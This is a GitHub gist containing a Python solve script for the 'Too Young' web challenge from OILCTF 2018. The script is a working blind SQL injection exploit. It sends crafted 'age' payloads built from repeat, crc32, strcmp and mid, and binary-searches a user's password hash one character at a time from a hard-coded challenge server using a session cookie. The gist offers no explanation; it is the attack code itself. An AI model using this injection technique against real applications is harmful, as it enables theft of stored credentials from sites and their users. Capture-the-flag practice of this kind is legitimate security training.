Created
March 25, 2018 12:53
-
-
Save samueltangz/2c0a150103b13d2b213bc75fd71d82d3 to your computer and use it in GitHub Desktop.
OILCTF 2018 / Too Young (Web350)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
md = '' | |
for i in range(1, 33): | |
l, r = 0, 128 | |
while l + 1 < r: | |
m = (l + r) / 2 | |
data = { 'age': 'repeat(crc32(strcmp(mid(pwd,%d,1),%s)),if(strcmp(id,0x35),0,1))#' % (i, hex(m)) } | |
cookies = { 'PHPSESSID': '8frmhugntqqfj0cv72rsd6qt95' } | |
res = requests.post("http://35.189.151.223/tooyoung/index.php", cookies=cookies, data=data) | |
if res.text.find('4108050209') > -1: | |
break | |
elif res.text.find('2212294583') > -1: | |
l = m | |
else: | |
r = m | |
md += chr(m) | |
print md |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment